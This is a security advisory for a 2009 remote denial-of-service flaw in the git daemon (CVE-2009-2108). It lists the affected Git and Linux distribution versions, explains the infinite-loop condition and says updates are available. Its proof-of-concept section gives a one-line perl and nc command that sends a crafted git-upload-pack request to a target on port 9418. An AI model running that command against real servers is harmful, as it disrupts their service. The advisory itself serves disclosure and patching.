Git Parameter Processing Remote Denial Of Service Vulnerability

BID:35338

Info

Git Parameter Processing Remote Denial Of Service Vulnerability

Bugtraq ID: 35338
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2009-2108
Remote: Yes
Local: No
Published: Jun 05 2009 12:00AM
Updated: Apr 13 2015 09:54PM
Credit: Shawn O. Pearce
Vulnerable: Sun Solaris 11 Express
Pardus Linux 2008 0
Mandriva Linux Mandrake 2009.1 x86_64
Mandriva Linux Mandrake 2009.1
MandrakeSoft Enterprise Server 5 x86_64
MandrakeSoft Enterprise Server 5
GIT GIT 1.6.3 .2
GIT GIT 1.6 6
GIT GIT 1.6 5
GIT GIT 1.5.6 6
GIT GIT 1.5.6 5
GIT GIT 1.5.6 .4
GIT GIT 1.5.6 .3
GIT GIT 1.5.6
GIT GIT 1.5.5 6
GIT GIT 1.5.5 5
GIT GIT 1.5.5
GIT GIT 1.5.4 7
GIT GIT 1.5.4 6
GIT GIT 1.5.2 4
GIT GIT 1.4.4.5
Gentoo Linux
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Debian Linux 4.0 sparc
Debian Linux 4.0 s/390
Debian Linux 4.0 powerpc
Debian Linux 4.0 mipsel
Debian Linux 4.0 mips
Debian Linux 4.0 m68k
Debian Linux 4.0 ia-64
Debian Linux 4.0 ia-32
Debian Linux 4.0 hppa
Debian Linux 4.0 armel
Debian Linux 4.0 arm
Debian Linux 4.0 amd64
Debian Linux 4.0 alpha
Debian Linux 4.0
Not Vulnerable:

Discussion

Git Parameter Processing Remote Denial Of Service Vulnerability

Git is prone to a denial-of-service vulnerability because it fails to properly handle some client requests.

Attackers can exploit this issue to cause a daemon process to enter an infinite loop. Repeated exploits may consume excessive system resources, resulting in a denial-of-service condition.

Git 1.4.4.5 through 1.6.3.2 are vulnerable; other versions may also be affected.

Exploit / POC

Git Parameter Processing Remote Denial Of Service Vulnerability

Attackers can exploit this issue using readily available tools.

The following example command is available:

$ perl -e '
$s="git-upload-pack git\0user=me\0host=localhost\0";
printf "%4.4x%s",4+length $s,$s
' | nc $GITHOST 9418

Solution / Fix

Git Parameter Processing Remote Denial Of Service Vulnerability

Solution:
Updates are available. Please see the references for more information.


Debian Linux 4.0 arm

Debian Linux 5.0 ia-64

Mandriva Linux Mandrake 2009.1 x86_64

Debian Linux 4.0 powerpc

MandrakeSoft Enterprise Server 5 x86_64

Debian Linux 4.0 m68k

Debian Linux 5.0 alpha

Debian Linux 5.0 ia-32

MandrakeSoft Enterprise Server 5

Debian Linux 5.0 s/390

Debian Linux 5.0 mipsel

Debian Linux 4.0 amd64

Debian Linux 4.0 ia-32

Debian Linux 5.0 hppa

Debian Linux 4.0 hppa

Debian Linux 4.0 sparc

Debian Linux 4.0 s/390

Debian Linux 5.0 m68k

Debian Linux 5.0 arm

Debian Linux 4.0 alpha

Debian Linux 4.0 armel

Debian Linux 5.0 armel

Debian Linux 5.0

Debian Linux 4.0

Debian Linux 4.0 mipsel

Debian Linux 5.0 amd64

Debian Linux 5.0 mips

Mandriva Linux Mandrake 2009.1

Debian Linux 5.0 powerpc

Debian Linux 4.0 ia-64

Debian Linux 4.0 mips

Debian Linux 5.0 sparc

References

Git Parameter Processing Remote Denial Of Service Vulnerability

References:

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